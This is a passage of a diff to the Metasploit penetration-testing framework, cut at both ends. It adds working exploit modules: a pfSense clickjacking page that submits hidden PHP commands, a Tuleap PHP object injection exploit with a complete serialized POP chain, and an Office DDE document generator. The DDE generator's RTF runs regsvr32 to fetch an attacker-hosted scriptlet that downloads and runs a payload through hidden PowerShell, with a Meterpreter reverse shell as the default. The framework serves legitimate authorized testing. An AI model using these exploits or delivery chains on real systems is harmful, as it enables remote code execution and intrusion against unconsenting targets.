path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def background_file
|
||||
@background ||= lambda {
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
|
||||
|
||||
resp = create_response(200, "OK")
|
||||
if request.uri =~ /\.js$/
|
||||
resp.body = js_file
|
||||
resp['Content-Type'] = 'text/javascript'
|
||||
|
||||
elsif request.uri =~ /\.css$/
|
||||
resp.body = css_file
|
||||
resp['Content-Type'] = 'text/css'
|
||||
|
||||
elsif request.uri =~ /\.jpg$/
|
||||
resp.body = background_file
|
||||
resp['Content-Type'] = 'image/jpg'
|
||||
|
||||
else
|
||||
if datastore['TARGETURI'].end_with? '/'
|
||||
url = datastore['TARGETURI'] + 'diag_command.php'
|
||||
else
|
||||
url = datastore['TARGETURI'] + '/diag_command.php'
|
||||
end
|
||||
framename = rand_text_alpha(16)
|
||||
divname = rand_text_alpha(16)
|
||||
resp.body = %Q|<!DOCTYPE html>
|
||||
<html>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
|
||||
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
|
||||
<script>
|
||||
window.addEventListener("load", function(){
|
||||
window.cookieconsent.initialise({
|
||||
"palette": {
|
||||
"popup": {
|
||||
"background": "#000",
|
||||
"text": "#0f0"
|
||||
},
|
||||
"button": {
|
||||
"background": "#0f0"
|
||||
}
|
||||
},
|
||||
"position": "top",
|
||||
"static": true
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
|
||||
window.addEventListener('load', function(){
|
||||
document.forms[0].post.click();
|
||||
document.onmousemove = function(e) {
|
||||
var e = e \|\| window.event;
|
||||
var s = document.getElementById('#{divname}');
|
||||
s.style.left = (e.clientX - 10) + 'px';
|
||||
s.style.top = (e.clientY - 5) + 'px';
|
||||
};
|
||||
});
|
||||
</script>
|
||||
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
|
||||
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
|
||||
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
|
||||
</div>
|
||||
<div style="display:none">
|
||||
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
|
||||
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
|
||||
<input type="hidden" name="submit" value="EXECPHP" />
|
||||
<input type="submit" name="post"/>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
end
|
||||
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
184
modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb
Normal file
184
modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb
Normal file
@ -0,0 +1,184 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
|
||||
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
|
||||
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
|
||||
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
|
||||
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
|
||||
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
|
||||
},
|
||||
'Author' => 'EgiX',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
|
||||
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
|
||||
['CVE', '2017-7411']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['Tuleap <= 9.6', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 23 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
|
||||
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
|
||||
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
|
||||
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
|
||||
Opt::RPORT(443)
|
||||
])
|
||||
end
|
||||
|
||||
def setup_popchain(random_param)
|
||||
print_status("Trying to login through the REST API...")
|
||||
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {'username' => user, 'password' => pass}.to_json
|
||||
})
|
||||
|
||||
unless res && (res.code == 201 || res.code == 200) && res.body
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
uid = body['user_id']
|
||||
token = body['token']
|
||||
|
||||
print_good("Login successful with #{user}:#{pass}")
|
||||
print_status("Updating user preference with POP chain string...")
|
||||
|
||||
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
|
||||
|
||||
pop_chain = 'a:1:{i:0;a:1:{'
|
||||
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
|
||||
pop_chain << 'S:12:"\00*\00_template";'
|
||||
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
|
||||
pop_chain << 'S:11:"\00*\00_context";a:1:{'
|
||||
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
|
||||
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
|
||||
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
|
||||
|
||||
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'PATCH',
|
||||
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
|
||||
'data' => pref.to_json
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
msg = "Something went wrong"
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::UnexpectedReply, msg)
|
||||
end
|
||||
end
|
||||
|
||||
def do_login
|
||||
print_status("Retrieving the CSRF token for login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'account/login.php')
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.get_cookies
|
||||
if res.body =~ /name="challenge" value="(\w+)">/
|
||||
csrf_token = $1
|
||||
print_good("CSRF token: #{csrf_token}")
|
||||
else
|
||||
print_warning("CSRF token not found. Trying to login without it...")
|
||||
end
|
||||
else
|
||||
msg = "Failed to retrieve the login page"
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => res.get_cookies,
|
||||
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
|
||||
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
print_good("Login successful with #{user}:#{pass}")
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
def exec_php(php_code)
|
||||
random_param = rand_text_alpha(10)
|
||||
|
||||
setup_popchain(random_param)
|
||||
session_cookies = do_login()
|
||||
|
||||
print_status("Triggering the POP chain...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
|
||||
'cookie' => session_cookies,
|
||||
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /Exiting with Error/
|
||||
msg = "No access to Artifact ID #{datastore['AID']}"
|
||||
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check
|
||||
@is_check = true
|
||||
flag = rand_text_alpha(rand(10)+20)
|
||||
res = exec_php("print '#{flag}';")
|
||||
|
||||
if res && res.code == 200 && res.body =~ /#{flag}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.body =~ /Exiting with Error/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
@is_check = false
|
||||
exec_php(payload.encoded)
|
||||
end
|
||||
end
|
@ -25,7 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-8791'],
|
||||
['OSVDB', '115128'],
|
||||
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
|
||||
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
|
||||
],
|
||||
|
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_error("Unable to login as #{user}")
|
||||
return
|
||||
end
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
store_valid_credential(user: user, private: password, proof: cookie)
|
||||
|
||||
print_status("Trying to upload payload")
|
||||
filename = "#{rand_text_alpha_lower(8)}.php"
|
||||
|
157
modules/exploits/windows/fileformat/office_dde_delivery.rb
Normal file
157
modules/exploits/windows/fileformat/office_dde_delivery.rb
Normal file
@ -0,0 +1,157 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Office DDE Payload Delivery',
|
||||
'Description' => %q{
|
||||
This module generates an DDE command to place within
|
||||
a word document, that when executed, will retrieve a HTA payload
|
||||
via HTTP from an web server.
|
||||
},
|
||||
'Author' => 'mumbai',
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 9 2017',
|
||||
'References' => [
|
||||
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
|
||||
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
|
||||
],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
['Microsoft Office', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => false,
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
|
||||
'EXITFUNC' => 'thread'
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
|
||||
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
|
||||
])
|
||||
end
|
||||
|
||||
def gen_psh(url, *method)
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
|
||||
if method.include? 'string'
|
||||
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
||||
else
|
||||
# Random filename to use, if there isn't anything set
|
||||
random = "#{rand_text_alphanumeric 8}.exe"
|
||||
# Set filename (Use random filename if empty)
|
||||
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
|
||||
|
||||
# Set path (Use %TEMP% if empty)
|
||||
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
|
||||
|
||||
# Join Path and Filename
|
||||
file = %Q(echo (#{path}+'\\#{filename}'))
|
||||
|
||||
# Generate download PowerShell command
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
||||
end
|
||||
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
|
||||
# Generate main PowerShell command
|
||||
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
if _request.raw_uri =~ /\.sct$/
|
||||
print_status("Handling request for .sct from #{cli.peerhost}")
|
||||
payload = gen_psh("#{get_uri}", "string")
|
||||
data = gen_sct_file(payload)
|
||||
send_response(cli, data, 'Content-Type' => 'text/plain')
|
||||
else
|
||||
print_status("Delivering payload to #{cli.peerhost}...")
|
||||
p = regenerate_payload(cli)
|
||||
data = cmd_psh_payload(p.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
exec_in_place: true
|
||||
)
|
||||
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def rand_class_id
|
||||
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
||||
end
|
||||
|
||||
|
||||
def gen_sct_file(command)
|
||||
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
|
||||
if command == ''
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
|
||||
# If a command is provided, tell the target system to execute it.
|
||||
else
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve_header(filename)
|
||||
if (not datastore['INJECT_PATH'].nil?)
|
||||
path = "#{datastore['INJECT_PATH']}"
|
||||
else
|
||||
path = nil
|
||||
end
|
||||
if (not path.nil?)
|
||||
if ::File.file?(path)
|
||||
::File.open(path, 'rb') do |fd|
|
||||
header = fd.read(fd.stat.size).split('{\*\datastore').first
|
||||
header = header.to_s
|
||||
print_status("Injecting #{path}...")
|
||||
return header
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
|
||||
end
|
||||
return header
|
||||
end
|
||||
|
||||
def create_rtf
|
||||
#
|
||||
header = retrieve_header(datastore['FILENAME'])
|
||||
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
|
||||
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
|
||||
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
|
||||
field_class << '\insrsid5790315' + "\n"
|
||||
field_class << '\par }'
|
||||
footer = '}}' # footer
|
||||
rtf = header + field_class + footer
|
||||
rtf
|
||||
end
|
||||
|
||||
def primer
|
||||
file_create(create_rtf)
|
||||
end
|
||||
end
|
@ -10,7 +10,7 @@ require 'windows_error'
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
@ -267,63 +267,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return ret
|
||||
end
|
||||
|
||||
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
|
||||
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
|
||||
def verify_arch
|
||||
ret = false
|
||||
|
||||
return true if !datastore['VerifyArch']
|
||||
|
||||
pkt = Rex::Proto::DCERPC::Packet.make_bind(
|
||||
# Abstract Syntax: EPMv4 V3.0
|
||||
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
|
||||
# Transfer Syntax[1]: 64bit NDR V1
|
||||
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
|
||||
).first
|
||||
|
||||
begin
|
||||
sock = connect(false,
|
||||
'RHOST' => rhost,
|
||||
'RPORT' => 135
|
||||
)
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
sock.put(pkt)
|
||||
|
||||
begin
|
||||
res = sock.get_once(60)
|
||||
rescue EOFError
|
||||
print_error('DCE/RPC socket returned EOFError')
|
||||
return false
|
||||
end
|
||||
|
||||
disconnect(sock)
|
||||
|
||||
begin
|
||||
resp = Rex::Proto::DCERPC::Response.new(res)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
case target_arch.first
|
||||
when ARCH_X64
|
||||
# Ack result: Acceptance (0)
|
||||
if resp.ack_result.first == 0
|
||||
ret = true
|
||||
end
|
||||
when ARCH_X86
|
||||
# Ack result: Provider rejection (2)
|
||||
# Ack reason: Proposed transfer syntaxes not supported (2)
|
||||
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
|
||||
ret = true
|
||||
end
|
||||
end
|
||||
|
||||
ret
|
||||
return true unless datastore['VerifyArch']
|
||||
(dcerpc_getarch == target_arch.first) ? true : false
|
||||
end
|
||||
|
||||
def print_core_buffer(os)
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 693880
|
||||
CachedSize = 966280
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 693880
|
||||
CachedSize = 966280
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 693880
|
||||
CachedSize = 966280
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 902524
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 902524
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 902524
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 898776
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 898776
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 682608
|
||||
CachedSize = 898776
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1081096
|
||||
CachedSize = 1384552
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1081096
|
||||
CachedSize = 1384552
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1081096
|
||||
CachedSize = 1384552
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058488
|
||||
CachedSize = 1280872
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058488
|
||||
CachedSize = 1280872
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058488
|
||||
CachedSize = 1280872
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058584
|
||||
CachedSize = 1281916
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058584
|
||||
CachedSize = 1281916
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1058584
|
||||
CachedSize = 1281916
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1060624
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1060624
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1060624
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 857808
|
||||
CachedSize = 1014112
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 857808
|
||||
CachedSize = 1014112
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 857808
|
||||
CachedSize = 1014112
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1013304
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1013304
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 856196
|
||||
CachedSize = 1013304
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 746944
|
||||
CachedSize = 905984
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 746944
|
||||
CachedSize = 905984
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 746944
|
||||
CachedSize = 905984
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 794800
|
||||
CachedSize = 956868
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 794800
|
||||
CachedSize = 956868
|
||||
|
||||
include Msf::Payload::Single
|
||||
